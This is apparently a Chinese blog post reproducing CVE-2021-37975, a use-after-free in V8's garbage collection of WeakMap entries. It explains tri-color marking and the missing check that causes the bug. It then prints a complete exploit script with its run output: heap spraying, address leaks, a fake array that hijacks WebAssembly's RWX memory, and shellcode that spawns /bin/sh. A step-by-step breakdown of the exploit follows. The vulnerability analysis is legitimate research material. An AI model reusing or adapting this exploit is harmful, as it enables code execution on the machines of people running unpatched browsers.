CVE-2021-37975复现
这个漏洞与垃圾回收机制的不完善有关,总体还算有趣,但是想要发现,还是需要对其中涉及到的WeakMap的特性十分了解,或者动态调试过相关的内容,也算是小特性导致大漏洞的一个例子,能发现这个漏洞的人还是很厉害的。
V8 引擎 的垃圾回收核心算法之一是 三色标记算法。这是一种高效的垃圾回收算法,用于标记和清除不再使用的内存对象。
三色标记算法
白色(未被回收器访问,结束回收)
- 初始状态,表示对象尚未被垃圾回收器访问。
- 如果对象在垃圾回收结束时仍然是白色,则会被回收。
灰色(被回收器访问但子对象未被访问,结束进一步处理)
- 表示对象已经被垃圾回收器访问,但其引用的子对象尚未被访问。
- 灰色对象会被放入一个工作队列,等待进一步处理。
黑色(被回收器访问,结束不回收)
- 表示对象及其引用的所有子对象都已被垃圾回收器访问。
- 黑色对象是存活的,不会被回收。
算法工作流程(全局栈灰其他白)(依次取灰变黑,白子对象变灰)(白回收其他保留)
阶段 1:初始化
- 将所有对象标记为白色。
- 将根对象(如全局对象、栈上的变量等)标记为灰色,并放入工作队列。
阶段 2:标记
- 从工作队列中取出一个灰色对象,将其标记为黑色。
- 遍历该对象的所有子对象:
- 如果子对象是白色,则将其标记为灰色,并放入工作队列。
- 重复上述过程,直到工作队列为空。
阶段 3:清除
- 遍历所有对象:
- 如果对象是白色,则将其回收。
- 如果对象是黑色或灰色,则保留。
v8中的算法流程
标记阶段
- V8 的垃圾回收器会从根对象开始,遍历所有可达对象,并将其标记为黑色。
- 灰色对象会被放入一个工作队列,等待进一步处理。
清除阶段
- V8 会遍历所有对象,将白色对象回收,黑色对象保留。
增量标记
- V8 支持增量标记(Incremental Marking),将标记阶段分为多个小步骤,减少垃圾回收对程序运行的干扰。
并发标记
- V8 支持并发标记(Concurrent Marking),在程序运行的同时进行标记,进一步提高性能。
增量标记机制
- 启动增量标记 :
- 当 V8 检测到需要垃圾回收时,启动增量标记。
- 将根对象标记为灰色,并放入工作队列。
- 逐步标记 :
- 在程序运行的间隙(如事件循环的空闲时间),V8 会从工作队列中取出一些灰色对象,将其标记为黑色,并将其子对象标记为灰色。
- 重复上述过程,直到工作队列为空。
- 完成标记 :
- 当所有灰色对象都被处理完毕时,标记阶段完成。
WeakMap
WeakMap特点
- 键必须是对象,不能是值
- 弱引用
- 不可枚举,没有size属性
- 没有清空方法
WeakMap方法(不支持keys(),values() ,entries() )
- weakMap.get(key)
- weakMap.set(key, value)
- weakMap.delete(key)
- weakMap.has(key)
漏洞关键数据结构
next_ephemerons
: 当(key, value) 均为白色对象时则存放在next_ephemerons
中,供下一次迭代使用。current_ephemerons
: 在迭代开始时与next_ephemerons
进行交换,交换完之后next_ephemerons
为空。local_marking_worklists
: 可以通过黑色对象访问的白色对象被标记为灰色,并且放入local_marking_worklists
。灰色对象在ProcessMarkingWorklist
函数中被标记为黑色。discovered_ephemerons
:当local_marking_worklists
中的WeakMap对象被标记为黑色的时候,WeakMap中均为白色的键值对将被加入到discovered_ephemerons
中。
漏洞关键函数
MarkLiveObjects
:将存活的对象标记为黑色。它是GC标记算法的入口。它会调用两次ProcessEphemeronMarking
。ProcessEphemeronMarking
:WeakMap中的(key, value)被称为Ephemeron,这个函数处理WeakMap键值对的标记。ProcessEphemeronsUntilFixpoint
:ProcessEphemeronMarking
调用ProcessEphemeronsUntilFixpoint
实现功能。
bash
[root@VM-4-6-opencloudos v8]# ./out/x64.release/d8 ./a_ypj/poc.js
================ double in free zone: larr
fetch failed
================ double in free zone: larr
===========before access free pointet 1
===========before access free pointet 2
===========before findLArr
===========after findLArr
================ double in free zone: instance
================found instance address: 0x8154195 at index: 0
================found instance address2: 0x8154195 at index: 0
found instance object at: 1 index: 0
found instance object at: 1 index: 1
================ obj
array address: 0x829f8e9
array element address: 0x829f909
rwx address at: 0x11b02cda0000
shellArray addr: 0x829fb01
[root@VM-4-6-opencloudos v8]# ls
AUTHORS build_overrides DIR_METADATA INTL_OWNERS OWNERS src
a_ypj buildtools docs LICENSE PPC_OWNERS test
base CODE_OF_CONDUCT.md ENG_REVIEW_OWNERS LICENSE.fdlibm PRESUBMIT.py testing
bazel codereview.settings gni LICENSE.strongtalk README.md third_party
build COMMON_OWNERS include LICENSE.v8 RISCV_OWNERS tools
BUILD.bazel custom_deps infra MIPS_OWNERS S390_OWNERS WATCHLISTS
BUILD.gn DEPS INFRA_OWNERS out samples WORKSPACE
[root@VM-4-6-opencloudos v8]# exit
exit
漏洞分析
ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。 DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法
bash
# 黑:k0 白:k1 灰:v3
# WeakMap(k1,v1)
# v3.set(k0,k1)
# GC
# v3变黑,遍历k0,k1,k1变灰
# v1变黑
# 结束
# (漏洞点)可以利用WeakMap.get(k1)进行UAF
POC分析
js
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
var initKey = { init: 1 };
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1
var rwxOffset = 0x60;
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = { 'h': i };
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = { k5: 1 };
let map5 = new WeakMap();
let k7 = { k7: 1 };
let k9 = { k9: 1 };
let k8 = { k8: 1 };
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
console.log("================ double in free zone: larr");
let v9 = { ta: ta, larr: larr };
map.set(k7, map7);
map.set(k9, v9);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8, k9);
}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
function gc() {
new ArrayBuffer(gcSize);
}
function restart() {
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function main() {
setUpWeakMap(map1);
gc();
let sprayParamArr = [];
for (let i = 0; i < sprayParam; i++) {
let thisArr = new Array(1 << 15);
sprayParamArr.push(thisArr);
}
globalIdx['a' + globalIdx] = 1;
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx['a' + globalIdx + 1000] = 1;
let result = null;
try {
result = fetch();
} catch (e) {
console.log("fetch failed");
restart();
return;
}
if (!result) {
console.log("fail to find object address.");
restart();
return;
}
let larr = result.larr;
let index = result.idx;
console.log("================ double in free zone: instance");
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
let x = {};
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}
globalIdx['a' + globalIdx + 5000] = 1;
larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for (let i = 0; i < sprayParamArr.length; i++) {
globalIdx['a' + globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for (let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if (thisObj == instance) {
console.log("found instance object at: " + i + " index: " + j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx['a' + globalIdx + 4000] = 1;
if (objArrIdx == -1) {
console.log("failed getting fake object index.");
restart();
return;
}
let obj = [1.1, 1.2, 1.3, 0.0];
console.log("================ obj");
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if (!(fakeArray instanceof Array)) {
console.log("fail getting fake array.");
restart();
return;
}
rwxAddr = fakeArray[0];
console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
if (rwxAddr == 0) {
console.log("failed getting rwx address.");
restart();
return;
}
let shellArray = new Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
let shellAddr = ftoi32(larr[index])[0];
console.log("shellArray addr: 0x" + shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for (let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}
function findTA(ta) {
let found = false;
for (let i = 0; i < 16; i++) {
if (ta[i] != 0xfe) {
console.log(ta[i]);
return true;
}
}
console.log(ta[0]);
return found;
}
function findLArr(larr) {
for (let i = 0; i < (1 << 15); i++) {
if (larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return i;
}
}
return -1;
}
function fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log('===========before access free pointet 1')
console.log('===========before access free pointet 2')
let larr = map1.get(map8.get(k8)).larr;
console.log('===========before findLArr')
let index = findLArr(larr);
console.log('===========after findLArr')
if (index == -1) {
return;
}
return { larr: larr, idx: index };
}
global = {};
globalIdx = 0;
main();
hideWeakMap(map, level, initKey)
作用 :创建一个嵌套的 WeakMap
结构,用于隐藏某个键,返回最后一层的键。
getHiddenKey(map, level, initKey)
作用 :从嵌套的 WeakMap
结构中获取隐藏的键,返回最后一层的键。
setUpWeakMap(map)
作用 :初始化 WeakMap
结构,并填充一些数据,为后续的内存操作和漏洞利用做准备。
gc()
作用:触发垃圾回收,通过分配大内存块强制触发,这里也用了一个漏洞,没事可以复现一下。
main函数具体分析
- 初始化 WeakMap 结构
- 调用
setUpWeakMap(map1)
,构建嵌套的WeakMap
结构,并填充Uint8Array
和larr
,目的是为后续的内存操作创造可控的布局。
- 调用
- 触发垃圾回收
- 调用
gc()
强制触发垃圾回收,释放部分内存,使某些对象进入Dangling状态,为后续的内存重用做准备。
- 调用
- 内存喷射
- 创建大量
sprayParamArr
数组,填充WebAssembly 实例,目的是占用特定内存区域,增加预测内存布局的确定性。
- 创建大量
- 获取关键数据
- 调用
fetch()
从WeakMap
中提取larr
和其索引index
,利用findLArr
找到被释放的larr
中的异常值,推测内存地址泄露。
- 调用
- 地址泄露与对象伪造
- 通过
larr[index]
泄露instance
的内存地址,利用类型混淆float数组和int数组来泄露地址。 - 替换
sprayParamArr
内容为伪造对象x
,再通过遍历找到instance
的引用位置,定位到可控的objArrIdx
和thisArrIdx
。
- 通过
- 劫持 WebAssembly 内存
- 将伪造的
obj
填充到sprayParamArr
的特定位置,通过浮点数操作覆盖WebAssembly
实例的 RWX内存地址。 - 将包含 shellcode 的 Uint8Array的地址写入伪造的
obj
,最终通过fakeArray[0]
劫持 RWX 内存指针。
- 将伪造的
- 执行 Shellcode
- 通过 WebAssembly 导出函数跳转到 RWX 内存区域,执行
shellArray
中的恶意代码。
- 通过 WebAssembly 导出函数跳转到 RWX 内存区域,执行
总结
总体来说,发现漏洞后利用的思路很清晰,但是发现的过程和具体实现利用找到过程中要用到的漏洞还是有一定难度的,但过程有趣,而且中间处理用的漏洞没事也可以复现学习一下。